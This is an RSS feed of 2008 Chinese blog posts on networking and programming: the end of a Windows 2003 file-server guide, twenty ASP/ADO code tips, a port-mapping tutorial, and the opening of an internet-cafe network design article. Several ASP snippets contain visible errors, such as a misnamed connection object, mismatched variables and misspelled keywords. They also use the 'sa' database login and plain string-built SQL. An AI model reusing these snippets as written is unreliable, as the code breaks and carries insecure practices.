　　上面提到了，我们要对每个用户访问文件夹的操作进行跟踪并形成日志，要实现这个功能就要给abc文件夹添加审核。打开abc文件夹的属性，然后打开&ldquo;安全&rdquo;标签，点&ldquo;高级&rdquo;按钮，在&ldquo;审核&rdquo;标签里给这个文件夹设置审核，如图9。点&ldquo;添加&rdquo;按钮，在&quot;选择用户和组&quot;对话框里填入&ldquo;wawa&rdquo;组，如图10，确定后把完全控制的成功和失败都设置为审核项目，如图11。 <br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104522936.jpg" border="0"><br>
<br>
图 9<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104537370.jpg" border="0"><br>
<br>
图 10<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104551909.jpg" border="0"><br>
<br>
图 11<br>
<br>
　　添加了文件夹审核后，在系统的安全日志里会有很多的审核日志，因为日志多了会严重影响系统的性能，所以我们在安全日志的属性里把日志的最大字节设置一下，这样就不至于让日志过分臃肿了，注意一下就是，日志的最大值必须填写为64K的倍数，如果你填写的不是64的倍数，系统会自动设置为最靠近的一个64的倍数。</p>
<div class="t_msgfont" >为一些重要的私有文件，我们不希望让别人访问或者打开，上面的权限设置就很难满足要求了，为了实现这一个目的，我们就需要特定的私有文件进行加密。Windows2003给我们提供了一种廉价安全的加密方式，那就是efs加密系统，它只支持NTFS文件系统，是基于公众密钥的，加密的时候自动会生成一个加密密钥，它本身还可以扩展的加密算法，所以比较安全。还有一点就是用它加密解密文件或者文件夹非常的容易，只要在属性里选一下就可以了，如图12。 <br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104715560.jpg" border="0"><br>
图 12<br>
<br>
　　每个用户可以用它来为自己私有的重要文件进行加密，但注意一点就是，进行EFS加密文件后，最好备份好每个用户的个人证书，并保管好，以后要是出了问题，把个人证书导入一下就可以打开加密文件了，否则重装系统即使你还用以前的帐户和密码登陆，也不可以打开加密的文件。这点一定要注意，不知道多少人因为没有备份证书而丢失了重要的文件，这是多么的可悲呀。导出证书，在管理工具的&ldquo;证书颁发机构&rdquo;控制台里，选择个人证书，右键导出证书就可以了。<br>
<br>
　　下面该为用户设置默认磁盘配额了，磁盘配额是NTFS5.0的新增的功能。再abc文件夹所在的磁盘属性里，找到配额标签。把&ldquo;启用配额&rdquo;和&ldquo;拒绝将空间给超过配额的用户&rdquo;前面的钩选上。将磁盘空间限制为10M，警告级别设置为5M，具体数值可根据用户的需要来分配。把下面的&ldquo;用户超出配额限制时记录事件&ldquo;和&rdquo;用户超过警告登记时记录事件&rdquo;。如图13。<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104730206.jpg" border="0"><br>
<br>
图 13<br>
<br>
　　这样设置后，当用户文件存放到警戒线后就会写在日志里，管理员可以通过日志来获取这些信息，并对此做适当的操作，或者通知用户整理文件，或者增加配额大小等。<br>
<br>
　　设置了默认的配额选项后就要为每个具体的用户设置配额选项了，点击&ldquo;配额项&rdquo;按钮，在打开的对话框里分别给a，b，c用户设置配额，点新建配额，然后选择用户，填写配额大小和警戒大小就可以了，如图14。<br>
<br>
<br>
<img src="http://www.jz173.com/edu/UploadFiles/20041201/2004121104744806.jpg" border="0"><br>
<br>
图 14<br>
<br>
　　最后时杀毒的问题，只要在服务器上装一套企业版的杀毒软件，并打开实时病毒监控就可以了，关于杀毒软件的具体使用，请参照其官方文档，我推荐大家使用NAV8.1，企业里用很不错的杀毒工具，强劲有效，并且自带的病毒库升级工具非常方便更新病毒库，保证服务器不受病毒侵扰。除了平时的实时杀毒外，还可以添加杀毒任务来定期全面杀毒，打开启发式杀毒等。<br>
<br>
　　对于服务器上的重要文件，管理员要进行及时的备份，备份的方案有好多，最经济的方案就是利用Windows 2003自带的计划任务和备份程序来解决。具体方法可以查看一下Windows帮助文档。<br>
<br>
　　我们的这个文件服务器就建好了，既经济又安全，最主要的是不需要其它的第三方软件（除了杀毒工具） 。由此，我们可以看出，Windows的功能是非常强大的，它内置的一些功能能满足我们大部分的实际需要，加上我们自定义的一些设置，几乎可以解决所有问题，文件共享服务器只是Windows2003的一个小小的应用。</div>
</div>
</div> <a href="http://hi.baidu.com/csuwqz/blog/item/0c4ec8269d1f01118b82a1b5.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/%CD%F8%C2%E7%BC%BC%CA%F5">网络技术</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/0c4ec8269d1f01118b82a1b5.html#comment">查看评论</a>]]></description>
        <pubDate>2008-07-27  14:32</pubDate>
        <category><![CDATA[网络技术]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/0c4ec8269d1f01118b82a1b5.html</guid>
</item>

<item>
        <title><![CDATA[ASP 编程中 20 个非常有用的例子]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/c5f429271c31e805908f9dab.html]]></link>
        <description><![CDATA[
		
		<div class="t_msgfont" >1.如何用Asp判断你的网站的虚拟物理路径 <br>
答：使用Mappath方法 <br>
&lt; p align=&quot;center&quot; &gt;&lt; font size=&quot;4&quot; face=&quot;Arial&quot; &gt;&lt; b &gt; <br>
The Physical path to this virtual website is: <br>
&lt; /b &gt;&lt; /font &gt; <br>
&lt; font color=&quot;#FF0000&quot; size=&quot;6&quot; face=&quot;Arial&quot; &gt; <br>
&lt; %= Server.MapPath(&quot;\&quot;)% &gt; <br>
&lt; /font &gt;&lt; /p &gt; <br>
2.我如何知道使用者所用的浏览器？ <br>
答：使用the Request object方法 <br>
strBrowser=Request.ServerVariables(&quot;HTTP_USER_AGENT&quot;) <br>
If Instr(strBrowser,&quot;MSIE&quot;) &lt; &gt; 0 Then <br>
　　Response.redirect(&quot;ForMSIEOnly.htm&quot;) <br>
Else <br>
　　Response.redirect(&quot;ForAll.htm&quot;) <br>
End If <br>
<br>
3.如何计算每天的平均反复访问人数 <br>
答：解决方法 <br>
&lt; % startdate=DateDiff(&quot;d&quot;,Now,&quot;01/01/1990&quot;) <br>
if strdate&lt; 0 then startdate=startdate*-1 <br>
avgvpd=Int((usercnt)/startdate) % &gt; <br>
显示结果 <br>
&lt; % response.write(avgvpd) % &gt; <br>
that is it.this page have been viewed since November 10,1998 <br>
<br>
4.如何显示随机图象 <br>
&lt; % dim p,ppic,dpic <br>
ppic=12 <br>
randomize <br>
p=Int((ppic*rnd)+1) <br>
dpic=&quot;graphix/randompics/&quot;&amp;p&amp;&quot;.gif&quot; <br>
% &gt; <br>
显示 <br>
&lt; img src=&quot;&lt; %=dpic% &gt;&quot; &gt; <br>
<br>
5.如何回到先前的页面 <br>
答：&lt; a href=&quot;&lt; %=request.serverVariables(&quot;Http_REFERER&quot;)% &gt;&quot; &gt;preivous page&lt; /a &gt; <br>
或用图片如：&lt; img src=&quot;arrowback.gif&quot; alt=&quot;&lt; %=request.serverVariables(&quot;HTTP_REFERER&quot;)% &gt;&quot; &gt; <br>
<br>
6.如何确定对方的IP地址 <br>
答：&lt; %=Request.serverVariables(&quot;REMOTE_ADDR)% &gt; <br>
<br>
7.如何链结到一副图片上 <br>
答：&lt; % @Languages=vbscript % &gt; <br>
&lt; % response.expires=0 <br>
strimagename=&quot;graphix/errors/erroriamge.gif&quot; <br>
response.redirect(strimagename) <br>
% &gt; <br>
<br>
8.强迫输入密码对话框 <br>
答：把这句话放载页面的开头 <br>
&lt; % response.status=&quot;401 not Authorized&quot; <br>
response.end <br>
% &gt; <br>
<br>
9.如何传递变量从一页到另一页 <br>
答：用 HIDDEN 类型来传递变量 <br>
&lt; % form method=&quot;post&quot; action=&quot;mynextpage.asp&quot; &gt; <br>
&lt; % for each item in request.form % &gt; <br>
&lt; input namee=&quot;&lt; %=item% &gt;&quot; type=&quot;HIDDEN&quot; <br>
value=&quot;&lt; %=server.HTMLEncode(Request.form(item)) % &gt;&quot; &gt; <br>
&lt; % next % &gt; <br>
&lt; /form &gt; <br>
<br>
10.为何我在 asp 程序内使用 msgbox，程序出错说没有权限 <br>
答：由于 asp 是服务器运行的，如果可以在服务器显示一个对话框，那么你只好等有人按了确定之后，你的程序才能继续执行，而一般服务器不会有人守着，所以微软不得不禁止这个函数，并胡乱告诉你 (:) 呵呵) 没有权限。但是ASP和客户端脚本结合倒可以显示一个对话框，as follows: <br>
&lt; % yourVar=&quot;测试对话框&quot;% &gt; <br>
&lt; % script language='javascript' &gt; <br>
alert(&quot;&lt; %=yourvar% &gt;&quot;) <br>
&lt; /script &gt; <br>
<br>
11.有没有办法保护自己的源代码，不给人看到 <br>
答：可以去下载一个微软的Windows Script Encoder，它可以对asp的脚本和客户端javascript/vbscript脚本进行加密。。。不过客户端加密后，只有ie5才能执行，服务器端脚本加密后，只有服务器上安装有script engine 5（装一个ie5就有了）才能执行。 <br>
<br>
12.怎样才能将 query string 从一个 asp 文件传送到另一个？ <br>
答：前者文件加入下句： Response.Redirect(&quot;second.asp?&quot; &amp; Request.ServerVariables(&quot;QUERY_STRING&quot;)) <br>
<br>
13.global.asa文件总是不起作用? <br>
答：只有web目录设置为web application, global.asa才有效，并且一个web application的根目录下 global.asa才有效。IIS4可以使用Internet Service Manager设置application setting 怎样才能使得htm文件如同asp文件一样可以执行脚本代码？ <br>
<br>
14.怎样才能使得htm文件如同asp文件一样可以执行脚本代码？ <br>
答：Internet Sevices Manager - &gt; 选择default web site - &gt;右鼠键- &gt;菜单属性-〉主目录- &gt; 应用程序设置（Application Setting）- &gt; 点击按钮 &quot;配置&quot;- &gt; app mapping - &gt;点击按钮&quot;Add&quot; - &gt; executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.DELETE 全部确定即可。但是值得注意的是这样对htm也要由asp.dll处理，效率将降低。 <br>
<br>
15.如何注册组件 <br>
答：有两种方法。 <br>
第一种方法：手工注册 DLL 这种方法从IIs 3.0一直使用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行，进入到包含有DLL的目录，并输入：regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上使用了，但是这个方法有一个缺陷。当使用这种方法注册完毕组件后，该组件必须要相应的设置NT的匿名帐号有权限执行这个dll。特别是一些组件需要读取注册表，所以，这个注册组件的方法仅仅是使用在服务器上没有MTS的情况下，要取消注册这个dll，使用：regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll <br>
<br>
第二种方法：使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色，但是它提供了巨大的改进。MTS允许你指定只有有特权的用户才能够访问组件，大大提高了网站服务器上的安全性设置。在MTS上注册组件的步骤如下： <br>
1) 打开IIS管理控制台。 <br>
2) 展开transaction server，右键单击&quot;pkgs installed&quot;然后选择&quot;new package&quot;。 <br>
3) 单击&quot;create an empty package&quot;。 <br>
4) 给该包命名。 <br>
5) 指定administrator帐号或则使用&quot;interactive&quot;（如果服务器经常是使用administrator 登陆的话）。 <br>
6) 现在使用右键单击你刚建立的那个包下面展开后的&quot;components&quot;。选择 &quot;new then component&quot;。 <br>
7) 选择 &quot;install new component&quot; <strong>。 <br>
</strong>8) 找到你的.dll文件然后选择next到完成。 <br>
要删除这个对象，只要选择它的图标，然后选择delete。 <br>
附注：特别要注意第二种方法，它是用来调试自己编写组件的最好方法，而不必每次都需要重新启动机器了。 <br>
<br>
16. ASP与Access数据库连接： <br>
<br>
&lt;%@ language=VBscript%&gt; <br>
&lt;% <br>
dim conn,mdbfile <br>
mdbfile=server.mappath(&quot;数据库名称.mdb&quot;) <br>
set conn=server.createobject(&quot;adodb.connection&quot;) <br>
conn.open &quot;driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq=&quot;&amp;mdbfile <br>
<br>
%&gt; <br>
<br>
17. ASP与SQL数据库连接： <br>
<br>
&lt;%@ language=VBscript%&gt; <br>
&lt;% <br>
dim conn <br>
set conn=server.createobject(&quot;ADODB.connection&quot;) <br>
con.open &quot;PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称 <br>
%&gt; <br>
<br>
建立记录集对象： <br>
<br>
set rs=server.createobject(&quot;adodb.recordset&quot;) <br>
rs.open SQL语句,conn,3,2 <br>
<br>
18. SQL常用命令使用方法： <br>
<br>
(1) 数据记录筛选： <br>
<br>
sql=&quot;select * from 数据表 where 字段名=字段值 order by 字段名 [desc]&quot; <br>
<br>
sql=&quot;select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]&quot; <br>
<br>
sql=&quot;select top 10 * from 数据表 where 字段名 order by 字段名 [desc]&quot; <br>
<br>
sql=&quot;select * from 数据表 where 字段名 in ('值1','值2','值3')&quot; <br>
<br>
sql=&quot;select * from 数据表 where 字段名 between 值1 and 值2&quot; <br>
<br>
(2) 更新数据记录： <br>
<br>
sql=&quot;update 数据表 set 字段名=字段值 where 条件表达式&quot; <br>
<br>
sql=&quot;update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式&quot; <br>
<br>
(3) 删除数据记录： <br>
<br>
sql=&quot;delete from 数据表 where 条件表达式&quot; <br>
<br>
sql=&quot;delete from 数据表&quot; (将数据表所有记录删除) <br>
<br>
(4) 添加数据记录： <br>
<br>
sql=&quot;insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)&quot; <br>
<br>
sql=&quot;insert into 目标数据表 select * from 源数据表&quot; (把源数据表的记录添加到目标数据表) <br>
<br>
(5) 数据记录统计函数： <br>
<br>
AVG(字段名) 得出一个表格栏平均值 <br>
COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计 <br>
MAX(字段名) 取得一个表格栏最大的值 <br>
MIN(字段名) 取得一个表格栏最小的值 <br>
SUM(字段名) 把数据栏的值相加 <br>
<br>
引用以上函数的方法： <br>
<br>
sql=&quot;select sum(字段名) as 别名 from 数据表 where 条件表达式&quot; <br>
set rs=conn.excute(sql) <br>
<br>
用 rs(&quot;别名&quot;) 获取统的计值，其它函数运用同上。 <br>
<br>
(5) 数据表的建立和删除： <br>
<br>
CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… ) <br>
<br>
例：CREATE TABLE tab01(name varchar(50),datetime default now()) <br>
<br>
DROP TABLE 数据表名称 (永久性删除一个数据表) <br>
<br>
19. 记录集对象的方法： <br>
<br>
rs.movenext 将记录指针从当前的位置向下移一行 <br>
rs.moveprevious 将记录指针从当前的位置向上移一行 <br>
rs.movefirst 将记录指针移到数据表第一行 <br>
rs.movelast 将记录指针移到数据表最后一行 <br>
rs.absoluteposition=N 将记录指针移到数据表第N行 <br>
rs.absolutepage=N 将记录指针移到第N页的第一行 <br>
rs.pagesize=N 设置每页为N条记录 <br>
rs.pagecount 根据 pagesize 的设置返回总页数 <br>
rs.recordcount 返回记录总数 <br>
rs.bof 返回记录指针是否超出数据表首端，true表示是，false为否 <br>
rs.eof 返回记录指针是否超出数据表末端，true表示是，false为否 <br>
rs.delete 删除当前记录，但记录指针不会向下移动 <br>
rs.addnew 添加记录到数据表末端 <br>
rs.update 更新数据表记录 <br>
<br>
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>
<br>
20 Recordset对象方法 <br>
<br>
Open方法 <br>
<br>
recordset.Open Source,ActiveConnection,CursorType,LockType,Options <br>
<br>
Source <br>
Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored Procedure。假如省略这个参数，系统则采用Recordset对象的Source属性。 <br>
<br>
ActiveConnection <br>
Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息（ConnectionString）的字符串参数。 <br>
<br>
CursorType <br>
Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数据，包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic，分述如下： <br>
-------------------------------------------------------------- <br>
常数 常数值 说明 <br>
------------------------------------------------------------- <br>
adOpenForwardOnly 0 缺省值，启动一个只能向前移动的游标（Forward Only）。 <br>
adOpenKeyset 1 启动一个Keyset类型的游标。 <br>
adOpenDynamic 2 启动一个Dynamic类型的游标。 <br>
adOpenStatic 3 启动一个Static类型的游标。 <br>
------------------------------------------------------------- <br>
以上几个游标类型将直接影响到Recordset对象所有的属性和方法，以下列表说明他们之间的区别。 <br>
<br>
------------------------------------------------------------- <br>
Recordset属性 adOpenForwardOnly adOpenKeyset adOpenDynamic adOpenStatic <br>
------------------------------------------------------------- <br>
AbsolutePage 不支持 不支持 可读写 可读写 <br>
AbsolutePosition 不支持 不支持 可读写 可读写 <br>
ActiveConnection 可读写 可读写 可读写 可读写 <br>
BOF 只读 只读 只读 只读 <br>
Bookmark 不支持 不支持 可读写 可读写 <br>
CacheSize 可读写 可读写 可读写 可读写 <br>
CursorLocation 可读写 可读写 可读写 可读写 <br>
CursorType 可读写 可读写 可读写 可读写 <br>
EditMode 只读 只读 只读 只读 <br>
EOF 只读 只读 只读 只读 <br>
Filter 可读写 可读写 可读写 可读写 <br>
LockType 可读写 可读写 可读写 可读写 <br>
MarshalOptions 可读写 可读写 可读写 可读写 <br>
MaxRecords 可读写 可读写 可读写 可读写 <br>
PageCount 不支持 不支持 只读 只读 <br>
PageSize 可读写 可读写 可读写 可读写 <br>
RecordCount 不支持 不支持 只读 只读 <br>
Source 可读写 可读写 可读写 可读写 <br>
State 只读 只读 只读 只读 <br>
Status 只读 只读 只读 只读 <br>
AddNew 支持 支持 支持 支持 <br>
CancelBatch 支持 支持 支持 支持 <br>
CancelUpdate 支持 支持 支持 支持 <br>
Clone 不支持 不支持 <br>
Close 支持 支持 支持 支持 <br>
Delete 支持 支持 支持 支持 <br>
GetRows 支持 支持 支持 支持 <br>
Move 不支持 支持 支持 支持 <br>
MoveFirst 支持 支持 支持 支持 <br>
MoveLast 不支持 支持 支持 支持 <br>
MoveNext 支持 支持 支持 支持 <br>
MovePrevious 不支持 支持 支持 支持 <br>
NextRecordset 支持 支持 支持 支持 <br>
Open 支持 支持 支持 支持 <br>
Requery 支持 支持 支持 支持 <br>
Resync 不支持 不支持 支持 支持 <br>
Supports 支持 支持 支持 支持 <br>
Update 支持 支持 支持 支持 <br>
UpdateBatch 支持 支持 支持 支持 <br>
-------------------------------------------------------------- <br>
其中NextRecordset方法并不适用于Microsoft Access数据库。 <br>
<br>
LockType <br>
Recordset对象Open方法的LockType参数表示要采用的Lock类型，如果忽略这个参数，那么系统会以Recordset对象的LockType属性为预设值。LockType参数包含adLockReadOnly、adLockPrssimistic、adLockOptimistic及adLockBatchOptimistic等，分述如下： <br>
<br>
------------------------------------------------------------- <br>
常数 常数值 说明 <br>
-------------------------------------------------------------- <br>
adLockReadOnly 1 缺省值，Recordset对象以只读方式启动，无法运行AddNew、Update及Delete等方法 <br>
adLockPrssimistic 2 当数据源正在更新时，系统会暂时锁住其他用户的动作，以保持数据一致性。 <br>
adLockOptimistic 3 当数据源正在更新时，系统并不会锁住其他用户的动作，其他用户可以对数据进行增、删、改的操作。 <br>
adLockBatchOptimistic 4 当数据源正在更新时，其他用户必须将CursorLocation属性改为adUdeClientBatch才能对数据进行增、删、改的操作。</div> <a href="http://hi.baidu.com/csuwqz/blog/item/c5f429271c31e805908f9dab.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/Asp">Asp</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/c5f429271c31e805908f9dab.html#comment">查看评论</a>]]></description>
        <pubDate>2008-07-27  14:29</pubDate>
        <category><![CDATA[Asp]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/c5f429271c31e805908f9dab.html</guid>
</item>

<item>
        <title><![CDATA[端口映射的几种实现方法]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/342c404664ffa10f6a63e5aa.html]]></link>
        <description><![CDATA[
		
		<div class="t_msgfont" >端口映射的几种实现方法采用端口映射(Port Mapping)的方法，可以实现从Internet到局域网内部机器的特定端口服务的访问。&nbsp;&nbsp; 　　利用IIS实现WWW和FTP服务的重定向<br>
<br>
　　Windows 2000和Windows XP都包含了IIS组件，其中的WWW和FTP服务具有主目录重定向设置，与端口映射相比，虽名称不同但作用类似。本文以Windows 2000下IIS 5.0的WWW和FTP服务举例说明。<br>
<br>
　　1、WWW服务的重定向<br>
<br>
　　打开管理工具中的Internet服务管理器，进入&ldquo;Internet信息服务&rdquo;对话框，选择Web站点名称，例如:&ldquo;默认Web站点&rdquo;，查看其属性，在属性页面的&ldquo;主目录&rdquo;标签下，我们可以设置WWW服务器的主目录位置。<br>
<br>
<img src="http://www2.77169.org/Article/UploadFiles/200507/20050724230107511.jpg" border="0"><br>
设定主目录为&ldquo;另一计算机上的共享位置&rdquo;，则可以在&ldquo;网络目录&rdquo;栏目内，以&ldquo;\\{服务器}\{共享名}&rdquo;格式填写局域网内部的WWW服务器上已经设为共享的主目录，例如:\\Server6\www。<br>
<br>
　　我们也可以选择&ldquo;重定向到URL&rdquo;，然后在&ldquo;重定向到&rdquo;栏目输入局域网内部的WWW服务器的链接，例如:<a href="http://192.168.0.6/" target="_blank">http://192.168.0.6</a>。<br>
<br>
<img src="http://www2.77169.org/Article/UploadFiles/200507/20050724230107968.jpg" border="0"><br>
2、FTP服务的重定向<br>
<br>
　　与WWW服务的重定向相似，打开管理工具中的Internet服务管理器，进入&ldquo;Internet信息服务&rdquo;对话框，选择FTP站点名称，例如:&ldquo;默认FTP站点&rdquo;，查看其属性，在属性页面的&ldquo;主目录&rdquo;标签下，我们可以设置FTP服务器的主目录位置。<br>
<br>
<br>
<br>
<font color="#ff0000">WinRoute Pro的端口映射功能 </font><br>
　　WinRoute Pro是一个工作于NAT(网络地址翻译)方式的Internet共享软件。它本身自带了端口映射功能。<br>
<br>
　　运行WinRoute Administration并登录，在主菜单上选择&ldquo;Settings→ Advanced→Port Mapping&rdquo;，出现端口映射的设置界面。端口映射条目的添加、编辑界面如图所示。<br>
<br>
[img] <img src="http://www2.77169.org/Article/UploadFiles/200507/20050724230107575.jpg" border="0">[/img]<br>
可以设置的选项包括协议、监听端口、端口类型(单一端口还是某个范围的连续端口)、目的主机、目的端口等。<br>
<br>
<font color="#ff0000">　　专用的端口映射工具PortTunnel</font><br>
<br>
　　PortTunnel是一个实现端口映射的专用工具。它是一个直接运行的软件，运行后的界面如下图所示。<br>
<br>
如果操作系统为Windows NT/Windows 2000/Windows XP，第一次运行时选择Start，PortTunnel会自动以服务方式运行。点击[Add]按钮添加条目，点击[Edit]按钮编辑现有条目，点击[Delete]按钮删除条目。&ldquo;新建/编辑&rdquo;条目的界面见下图。<br>
<img src="http://www2.77169.org/Article/UploadFiles/200507/20050724230108208.jpg" border="0"><br>
在这个&ldquo;新建/编辑端口映射&rdquo;对话框中，我们要给该条目命名，然后设定输入端口(Port In)、绑定地址(Bind address)、输出端口(Port Out)和输出地址(Address Out)。其中，&ldquo;绑定地址&rdquo;是指监听该主机的哪一个IP(内部IP还是外部IP)。设为&ldquo;Any(0.0.0.0)&rdquo;则监听该主机的全部IP。<br>
<br>
　　PortTunnel专门针对HTTP、FTP、SMTP服务的端口映射，提供了较多的参数设置，在相应的标签菜单下调整。此外，PortTunnel还提供了安全性设置和日志、统计等功能。<br>
<br>
　　以上三种端口映射方法各有所长，具体比较见附表<br>
<img src="http://www2.77169.org/Article/UploadFiles/200507/20050724230108638.gif" border="0"></div> <a href="http://hi.baidu.com/csuwqz/blog/item/342c404664ffa10f6a63e5aa.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/%CD%F8%C2%E7%BC%BC%CA%F5">网络技术</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/342c404664ffa10f6a63e5aa.html#comment">查看评论</a>]]></description>
        <pubDate>2008-07-27  14:28</pubDate>
        <category><![CDATA[网络技术]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/342c404664ffa10f6a63e5aa.html</guid>
</item>

<item>
        <title><![CDATA[教你组建网吧网络]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/6194c1d4d7c39807a08bb7a9.html]]></link>
        <description><![CDATA[
		
		目前,网吧所提供的服务,全部与网络有关。随着网络技术的发展,网吧目前所提供的服务已经不再是单纯诸如网页浏览等对网络要求较低的网络服务。网络游戏、在线电影、远程教育等对网络传输要求苛刻的服务,已经成为网吧最基本的服务了。在网吧经营日益激烈的今天,网络质量的好坏直接决定了网吧的生存能力。所以,如何规划一个优质的网络环境,是网吧经营者必须要考虑的一个重点,网吧网络拓扑结构设计、网吧的综合布线和网络设备采购,成为组建一个优质网络的重要环节。<br>
<br>
对于不同规模的网吧,网络结构设计和网络设备的采购,会有不同的差别。为此,网吧业主在设计网吧的网络时,要根据自己的实际情况量身订做,而不是盲目的照搬。<br>
<br>
第一部分:网吧网络结构设计篇<br>
<br>
网吧网络结构的总体设计,保证优质的网络传输速度是首要前提,除此之外,我们还要考虑到日后网络的升级,更重要的是要方便日后的网络维护。有一些网吧在日常经营中可能需要扩大规模,那么我们在设计网络时就必须考虑到日后的网络升级。无论网吧规模大小,网吧的网络层次,笔者建议采取接入层、汇聚层、交换层三个网络层次的设计理念。使用层次清晰的网络模式,一是方便日后的升级,二是可以减少维护成本。<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7060.JPG" border="0"><br>
<br>
网络接入层设计<br>
<br>
网吧的网络接入层,除要考虑网吧使用何种网络接入方式外,还要考虑选择何种网络接入设备。在部分地区,电信运营商一般会提供路由器等网络接入设备,建议网吧技术人员根据自己的网吧的实际情况,确定是否使用电信运营商提供的免费设备。按照笔者的经验,电信运营商提供的路由器接入设备,一般都无法满足网吧的需要,建议网吧另行购买。电信运营商赠送网络接入设备,只是吸引用户的一大卖点而已。<br>
<br>
1、 网络接入方式的选择:<br>
<br>
目前,针对网吧的接入方式有三种,一种是DDN专线,另外一种是光纤接入,还有一种就是类似家庭宽带的ADSL接入。随着电信运营商对网络的改造,目前光纤接入已经成为一种主流的接入方式,DDN专线接入是北京网吧的一大特色。从稳定性相比,光纤接入的速度是最稳定的,DDN专线其次,ADSL接入方式的的稳定性最差,而且容易受天气变化的影响。三种网络接入方式的资费,与稳定性是成正比的。<br>
<br>
虽然光纤接入已经非常普及,但是由于运营商网络覆盖范围不同,网吧可以选择的网络接入方式也是不同的。因此,网吧在选择店面的时候,一定要提前考虑店面是否有合适的网络接入方式,一旦店面确定下来,如果没有合适的接入方式,会对网吧经营者造成不可估量的损失。电信业务的拆分,使得中国有了多个电信运营商,长江以南是电信,长江以北是网通,除此之外,各地还有铁通、移动、联通等多家运营商共存。到底选择哪一家电信运营商作为网吧的接入商,也是非常有学问可讲的。<br>
<br>
铁通、移动、联通不是主流的宽带运营商,网络稳定性肯定不及电信和网通这两家宽带运营商。因此,网吧经营者在选择网络接入商时,一定要选择当地主流的网络接入商。众所周知,长江以南是中国电信的天下,网吧经营者最好选择电信网络接入;长江以北是中国网通的天下,网吧经营者最好选择网通网络接入。电信的拆分为网吧也带来了诸多不利影响,使用网通接入的网吧,访问电信的网站和使用电信接入的网络游戏服务器时,效果非常差,很多网吧开始同时使用网通和电信双线路接入。就目前的网络环境来看,双线路接入完全没有必要,网络游戏运营商和一些网站,已经分别租用电信和网通的服务器,解决了互联互通的问题,网吧没有必要再使用双线接入,毕竟双线的成本意味着宽带费用要增加一倍,而效果却与使用单线接入是相同的结果。<br>
<br>
2、 宽带速度的选择<br>
<br>
当我们的网络确定使用哪家电信运营商接入后,还有一个重要的网络参数需要网络经营者选择,这就是网络带宽。也就是我们通常所说的宽带速度。由于带宽大小与资费直接挂钩,网吧经营者必须选择一个合适的带宽才可以,带宽太小,上机高峰时段容易卡机,带宽太大,网吧经营者要承担太高的宽带费用。宽带带宽的大小选择,可以根据网吧的客户机数量来计算<br>
<br>
<br>
<img src="http://www.16288.com/UploadFiles/UploadFile7061.JPG" border="0"><br>
<br>
<br>
就网吧目前提供的多项网络服务来说,网络游戏、视频聊天、在线电影被称为最耗费带宽的三种业务,为此我们计算带宽大小的时候,要想保证网络传输质量,首要把带宽消耗大户考虑在内。一般来说,要想让在线电影和在线视频保持流畅,我们可以计算出带宽消耗的极限值。以单台机器来说,视频聊天需要占有50Kbps的带宽,在线电影需要占用200Kbps的带宽,网页一般仅仅需要占用20Kbps左右的带宽,而且是瞬间占有,网络游戏需要占用7Kbps左右的带宽,这样,一台机器的极限带宽是377Kbps。一家拥有一百台机器的网吧,接入带宽为37700Kbps,也就是37Mbps,加上线路的损失,申请一条50Mb的宽带是绰绰有余的。<br>
<br>
在这里,网吧经营者必须明白一个参数,网吧的接入带宽Mbps与文件下载速度之间MB之间的区别。电脑的基本原理是二进制,在电脑程序中,电脑只承认0和1两个数字。电脑最小的存储单位是字节,而一个字节是由八个二进制的位组成的。网络速度的单位是比特率bps,意思是比特位每秒。对于网络速度来说,1Mbps=1024Kbps,而存在单位的1MB=1024KB。正是由于单位的不同,网络接入带宽的实际值并不等于网络的理论下载速度,网络的理论下载速度是由网络速度的理论值,除以8得到的。因此,一家使用100Mb宽带接入的网吧,实际的下载速度仅仅可以维持在11MB左右。<br>
<br>
3、网络接入设备的选择<br>
<br>
